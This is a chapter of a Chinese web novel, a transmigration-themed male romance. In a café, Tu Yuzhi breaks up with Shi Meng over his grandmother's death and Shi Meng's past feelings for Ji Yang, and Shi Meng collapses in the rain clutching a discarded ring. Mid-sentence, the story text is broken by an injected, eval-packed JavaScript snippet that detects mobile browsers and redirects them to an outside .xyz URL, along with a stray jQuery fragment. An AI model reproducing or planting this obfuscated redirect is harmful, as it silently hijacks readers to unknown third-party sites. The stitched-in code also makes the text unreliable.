咖啡厅的门铃叮咚作响时,凃与知正用银勺搅动着杯中的黑咖啡。
师萌推门的动作很轻,轻到不愿惊醒自己,让自己还沉溺于梦中。
这是他今年第二次进这个咖啡厅了,上一次,还是凃与知伤后,找了季阳和许文心。
凃与知抬起头,嘴角扬起一个很苦的笑容,他似乎是哭过,又似乎没有:“你还敢来啊?”
很轻的声音却让师萌的脚步猛地顿住。那语气太平静了,平静得仿佛暴风雨来临前的海面,底下暗流汹涌。
师萌僵硬地走到他对面坐下,心里在发怵。
“对不起……”
他不知道自己可以说什么,也不知道自己还能说什么。
师萌盯着凃与知握着咖啡杯的手,他送的戒指还带在上面。
凃与知忽然笑了,他端起咖啡抿了一口,喉结滚动,黑咖啡的苦味在空气中弥漫。
师萌的视线移到凃与知眼下浓重的乌青上。
凃与知这些天,都没有睡好。
咖啡杯底与托盘相碰,发出清脆的声响。凃与知放下杯子,瓷白的杯沿上留下一个淡淡的唇印,那个唇印像是一个封印,将所有的嘶吼、痛哭、质问都封在了平静的表象之下。
“你知道吗,”凃与知突然开口,手指轻轻描摹着杯沿,“奶奶最后给我发的消息,是说,给你准备了生日礼物。”
“她总是这样,”凃与知的声音很轻,又像是自嘲地在笑,“对谁都比我这个亲孙子好。”
师萌张了张嘴,却发不出声音。
道歉、辩解、忏悔都哽在喉咙里,化作一阵剧烈的颤抖。
“礼物我不会给你,你也不配拿到。”凃与知说,他的心似乎也正在被揪着,“你知道我得到这个消息有多震惊吗?不,不是震惊,我是不信。”
“直到那份证据摆在我眼前,我不得不信。师萌,你好演技啊,现在是愧疚了吗?还是真的伤心了?还是说你的心重新长出来了?”凃与知说,他的声音如同泣血,“我好想知道你演了多久,你说,你可以告诉我吗?能告诉你曾经的男朋友吗?”
曾经的……男朋友。
师萌的心脏被狠狠抓了一下,一瞬间,他听见了耳朵内传来的尖锐音。
他早该知道的,早该有这个预料…会分手的。
他怎么敢奢求凃与知还保留着这份关系。
“不说话,你为什么不说话?”凃与知步步紧逼,“你现在还有力气从你家的别墅爬到这儿,可奶奶正在冰冷的骨灰盒内。我真希望,现在在那个小盒子里的不是奶奶……而是你啊。”
他的声音越来越高,引起了周围部分人的侧视,而师萌只是低下了头。
原来最痛的惩罚不是怒吼与指责,而是这样平静地坐在对面,用最温柔的语气说着最残忍的话。
“我也希望……”师萌轻声道。
他比任何人都希望这场意外没有发生。
“希望……可你还是做了,甚至把我耍的团团转。”话让师萌心跳得很重,他点了点头,却又听凃与知继续道,“你以为我不知道你初中喜欢季阳吗?我知道,我都知道,可是我没有在意,因为我在意你,我在意那个愿意为我挡下一棍、对我处处上心的师萌。”
“可是师萌,我错了,我真的做错了,我就该在你靠近我的时候甩开你。”凃与知说着,师萌却感觉手脚越来越冰冷,“确实,我不该抱着目的希望你来救奶奶,抱着目的接近你。师萌,你知道吗?我那时说奶奶,只是希望你能提供医疗设备;我被混混殴打在墙沿,只是听到了你的声音故意卖惨;就连季阳,我也是装的,就是希望你能心疼我!忘了他!”
师萌被抽去了魂魄,这些文字一个个进了他的耳朵,他却有点听不懂了。
这上面的一切,他何尝不知道?只不过……他曾经,喜欢季阳?
“我现在全部告诉你,可能这就是报应,上天给我的报应,”凃与知说话的声音渐冷,“人心真的难测,我也没想到有人能比我还能演,你从来就没有忘记他,也没喜欢过我。起码,我是真的喜欢你,而你的心……”
“我不喜欢季阳……”师萌终于找回了声音。
凃与知突然笑了,笑比哭还难听:“论坛里你的号还存有喜欢季阳的心事帖,一直更新到我们做同桌那天。不喜欢……这句话你骗你自己吧,如果你想让你的心里好受点,你这样信着……也未尝不可。”
师萌的瞳孔骤然紧缩。
原作中的炮灰男主,竟然喜欢……男主。
他为什么完全不记得?他作为一个穿书拥有全知视角的人、作为重生者,他竟然尽数都没有印象。
对,是没有印象,不是遗忘。他的记忆像是被剥离,从他的整个脑子里消失了。
“上一次我受伤,你和季阳也是在这个咖啡厅吧……汇报什么呢?”凃与知笑了,“有没有笑我多狼狈,笑我装一身伤只为了博你的心疼。”
“……师萌,你知道吗,我心好痛。”
“你真是……”凃与知的声音突然哽住,喉结剧烈滚动,“为了他,无所不用其极。”
“不是的!”师萌伸手去抓凃与知的衣袖,“那个早就……”
指尖碰到对方校服的瞬间,凃与知猛地甩开他。
窗外再次下起雨来,雨滴敲打在玻璃上。凃与知的脸在雨幕中变得模糊,师萌的手僵住,悬在空中,久久不能落下。
“我……”
解释的话语卡在喉咙里,他突然意识到,此刻说什么都像狡辩。论坛帖子是真的,喜欢季阳是真的,害死奶奶......也是真的。
凃与知的眼神渐渐冷却,最终凝固成某种令人心慌的平静。
“师萌。”恐怕是他最后一次连名带姓地叫他,“我们到此为止了。”
这句话缓慢地捅进心脏,师萌感觉自己的心在流血。
他就要死了。
他看见凃与知转身出了大门时,有什么亮晶晶的东西在空中划出一道银色的弧线。
那枚戒指,泛着冷冽的光。
“等等……”
他跌跌撞撞追出去,却在门口被台阶绊倒,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353873|183612||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
膝盖重重磕在大理石地面。
“凃与知!”
师萌的世界在这一瞬间崩塌。
“不……不……”
他的声音卡在喉咙里,双腿忍痛站起,再次不受控制地冲了出去。雨水模糊了视线,他跪在泥泞的水洼边,双手疯狂地摸索着。
冰凉的雨水混着滚烫的泪水砸在水面上,师萌的手指被碎石划破也浑然不觉。他的动作越来越急,越来越慌。水花四溅,他看不清眼前的东西,只能凭本能摸索着。
“我错了……我错了……”
声音支离破碎,像被撕碎的纸片。师萌的呼吸越来越急促,胸口像是压了块巨石。
他想起送戒指那天,凃与知难得露出惊讶的表情,耳尖红得像是要滴血,他还想起那枚无名指,想起种种,种种……
而现在,它不见了,一切都不见了。
就像奶奶一样。
就像……凃与知眼里的光一样。
“求求你…求求你……与知……”师萌抬起头,脸上满是雨水和泪水,“求求你……让我找到它……”
师萌的嗓子已经哑了,却还在机械地翻找着。他的衣服沾满泥水,头发湿漉漉地贴在脸上,看起来狼狈不堪。
突然,他的指尖碰到了什么冰凉的东西。
是那枚戒指。
它静静地躺在泥水里,银色的表面沾满了污渍,内圈的字迹模糊不清。师萌颤抖着把它捡起来,紧紧攥在手心里,仿佛这样就能抓住些什么。
可他知道,有些东西,丢了就是丢了。
就像凃与知看向他的眼神,再也不会带着温度了。
雨越下越大。
师萌跪在泥泞中,将沾满泥土的戒指贴在唇边,哭得像个孩子。
而凃与知,始终没有回头。
“与知……”
呢喃声被暴雨吞噬。
视线边缘开始泛起诡异的灰白色,像老式电视机失去信号时的雪花噪点。有什么温热的液体从鼻腔流出来,混着雨水滴在戒指上,晕开淡淡的粉红色。
失重的感觉来得突然又漫长。
师萌听到很多声音:自己后脑撞击地面的闷响,远处女人惊恐的尖叫,还有雨声。
意识开始涣散时,有人影拨开雨幕奔来。师萌努力睁大眼睛,恍惚看见一抹熟悉的校服。他想说话,想确认是不是那个人,可灌入气管的雨水让他只能发出“嗬嗬”的气音。
“坚持住!已经叫救护车了!”
陌生的声音。
不是他。
他想笑,却呕出一口混着雨水的血。
在彻底坠入黑暗的深渊前,师萌用尽最后的力气蜷起手指,握紧了那枚戒指,不让这份爱恋从手心溜走。
“松手……”
“这孩子手里攥着什么?”
“先别管了,脉搏很弱!”
好冷啊……
雨水冲刷着泥泞的地面,将血迹和泪水一同带向下水道。握紧的拳头终于无力地松开,沾血的戒指在急救灯下闪着微弱的光,坠落在地。